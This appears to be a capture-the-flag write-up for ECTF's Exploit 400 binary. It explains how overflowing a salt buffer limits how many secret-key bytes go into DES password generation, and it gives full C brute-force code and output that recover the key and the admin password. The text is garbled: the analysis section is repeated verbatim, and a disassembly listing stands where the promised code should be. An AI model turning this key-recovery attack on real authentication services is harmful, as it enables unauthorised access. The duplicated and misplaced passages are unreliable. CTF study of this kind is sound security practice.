Played ECTF with some of friends in Team BADSECTOR. Exploit 400 was a Linux 64-bit ELF protected with NX, partial RELRO and canary. There was buffer overflows everywhere as the __isoc99_scanf() function called now and then, reads data without any bound check. But the issue was stack canaries, its random everytime we make a connection. So bruteforce was not possible. There was information leak available in MakePost option, by setting the PostType to Link Only.
Lets see what the program actually does:
[*] CreateAccount option - Supply username and salt, DES encryption is done on the username using the supplied salt and a secret key from key file. This encrypted username is the password
[*] Login option - Supply the username and DES generated password. Also there is separate login for admin which will give us the flag
[*] MakePost - We saw this earlier
[*] Exit
CreateAccount option was interesting. It reads username into stack and salt into .bss buffer. Since GOT is located in lower address than .bss due to partial RELRO, we cannot overflow into GOT. Again, getting RCE looked difficult.
After this I analyzed the Encrypt() function at 0x0400A04. It does the following:
[*] Opens key file
[*] Checks the length of user supplied salt. If len(salt) < 7, pad with a till len(salt) == 7
[*] Then it copies salt into stack at [RBP-0x20] and finds the index of NUL byte in salt
[*] This index is used as pointer into buffer in stack to read() 7 bytes of data from key file
[*] Then NULL is moved to [RBP-0x12]
[*] So total length of password string could be maximum of 14 bytes
So the issue with this mechanism is, we could control the number of bytes from key file to be used for encryption. Say I supply a 13 byte salt [Only a max of 7 byte salt is expected but we can overflow], only a single byte in key file would be used for encryption process because the maximum size of salt+key == 14.
For admin login, 64 byte salt memory is cleared. Then 7 byte pad of a is added and 7 byte key is concatenated to compute the password. If we could find the contents of key file, we could find the admin password.
To find the contents of key file, we can use the remote service as oracle. Supply 7 different length of salt values say 13, 12, 11, 10, 9, 8 and 7 [aaaaaaaaaaaaa, aaaaaaaaaaaa, aaaaaaaaaaa, aaaaaaaaaa, aaaaaaaaa, aaaaaaaa, aaaaaaa] . Also keep the username fixed. For each of this pair, the remote service will generate a password. This 7 values could be used to retrieve the key.
The idea is
[*] For salt of 13 byte, bruteforce the last byte to get the single byte used from key file. Now 1 byte of key is recovered
[*] Next use 12 byte of salt. With first byte of key already found, we could bruteforce a single 2nd byte of key
This way all 7 bytes of key could be recovered to compute the admin password. Below is the full code to do this:
.text:0000000000400E88 mov eax, offset aD ; "%d" .text:0000000000400E8D lea rdx, [rbp+PostType] .text:0000000000400E91 mov rsi, rdx .text:0000000000400E94 mov rdi, rax .text:0000000000400E97 mov eax, 0 .text:0000000000400E9C call ___isoc99_scanf .text:0000000000400EA1 mov eax, [rbp+PostType] .text:0000000000400EA4 test eax, eax .text:0000000000400EA6 jz short LinkOnly .text:0000000000400F35 lea rdx, [rbp+ContentBuffer] .text:0000000000400F39 mov rsi, rdx .text:0000000000400F3C mov rdi, rax ; format .text:0000000000400F3F mov eax, 0 .text:0000000000400F44 call _printfUsing this uninitialized contents of ContentBuffer could be leaked. But NUL bytes in stack would prevent us from leaking much of the useful info easily. I spent lot of time working along this path.
Lets see what the program actually does:
[*] CreateAccount option - Supply username and salt, DES encryption is done on the username using the supplied salt and a secret key from key file. This encrypted username is the password
[*] Login option - Supply the username and DES generated password. Also there is separate login for admin which will give us the flag
[*] MakePost - We saw this earlier
[*] Exit
CreateAccount option was interesting. It reads username into stack and salt into .bss buffer. Since GOT is located in lower address than .bss due to partial RELRO, we cannot overflow into GOT. Again, getting RCE looked difficult.
After this I analyzed the Encrypt() function at 0x0400A04. It does the following:
[*] Opens key file
[*] Checks the length of user supplied salt. If len(salt) < 7, pad with a till len(salt) == 7
[*] Then it copies salt into stack at [RBP-0x20] and finds the index of NUL byte in salt
[*] This index is used as pointer into buffer in stack to read() 7 bytes of data from key file
[*] Then NULL is moved to [RBP-0x12]
[*] So total length of password string could be maximum of 14 bytes
So the issue with this mechanism is, we could control the number of bytes from key file to be used for encryption. Say I supply a 13 byte salt [Only a max of 7 byte salt is expected but we can overflow], only a single byte in key file would be used for encryption process because the maximum size of salt+key == 14.
For admin login, 64 byte salt memory is cleared. Then 7 byte pad of a is added and 7 byte key is concatenated to compute the password. If we could find the contents of key file, we could find the admin password.
To find the contents of key file, we can use the remote service as oracle. Supply 7 different length of salt values say 13, 12, 11, 10, 9, 8 and 7 [aaaaaaaaaaaaa, aaaaaaaaaaaa, aaaaaaaaaaa, aaaaaaaaaa, aaaaaaaaa, aaaaaaaa, aaaaaaa] . Also keep the username fixed. For each of this pair, the remote service will generate a password. This 7 values could be used to retrieve the key.
The idea is
[*] For salt of 13 byte, bruteforce the last byte to get the single byte used from key file. Now 1 byte of key is recovered
[*] Next use 12 byte of salt. With first byte of key already found, we could bruteforce a single 2nd byte of key
This way all 7 bytes of key could be recovered to compute the admin password. Below is the full code to do this:
#include <stdio.h> #include <openssl/des.h> #include <string.h> #include <stdlib.h> #define SALTLEN 7 /* gcc -o key key.c -l crypto */ /* Init passwords for overwritten salts */ char *password[] = { [0] = "50f88e127e97a38f", /* 13 byte salt */ [1] = "b6960556480cff35", /* 12 byte salt */ [2] = "6ce9ca9639f4c447", /* 11 byte salt */ [3] = "bfa81cd3767d5c16", /* 10 byte salt */ [4] = "7267b04756b63414", /* 09 byte salt */ [5] = "aedb1eed82da7235", /* 08 byte salt */ [6] = "d4f895d88b1a6d18", /* 07 byte salt */ }; char key[] = "aaaaaaaaaaaaaa"; unsigned char username[8] = "AAAAAAAA"; unsigned char admin[8] = "admin\x00\x00\x00"; /* PAD for 8 bytes */ int keysize = sizeof(key); int main(int argc, char **argv) { unsigned char output[8]; DES_cblock key_block; DES_key_schedule key_schedule; char encbuffer[20]; unsigned char key_byte; int salt_counter = 0; int index = 0; for(key_byte = 0; key_byte < 255; key_byte++) { key[keysize-2] = key_byte; /* bruteforce last byte */ DES_string_to_key(key, &key_block); DES_set_key(&key_block, &key_schedule); DES_ecb_encrypt(&username, &output, &key_schedule, DES_ENCRYPT); for(index = 0; index < 8; index++) { sprintf(&encbuffer[index*2], "%02x", output[index]); } if(strcmp(encbuffer, password[salt_counter]) == 0) { printf("Password [%s] = 0x%x\n", password[salt_counter], key_byte); salt_counter++; if (salt_counter == SALTLEN) break; key_byte = 0; /* reset loop */ /* update key */ for(index = 0; index < keysize-2; index++) { key[index] = key[index+1]; } } } printf("Key = %s\n", key); /* Find admin password */ DES_string_to_key(key, &key_block); DES_set_key(&key_block, &key_schedule); DES_ecb_encrypt(&admin, &output, &key_schedule, DES_ENCRYPT); for(index = 0; index < 8; index++) { sprintf(&encbuffer[index*2], "%02x", output[index]); } printf("Password = %s\n", encbuffer); return 0; }
renorobert@ubuntu:/host/ECTF$ ./key Password [50f88e127e97a38f] = 0x68 Password [b6960556480cff35] = 0x69 Password [6ce9ca9639f4c447] = 0x67 Password [bfa81cd3767d5c16] = 0x68 Password [7267b04756b63414] = 0x73 Password [aedb1eed82da7235] = 0x65 Password [d4f895d88b1a6d18] = 0x63 Key = aaaaaaahighsec Password = 94140f8339377477The content of the key file is highsec and flag for the challenge is flag{Encryption_is_Not_a_silver_bullet}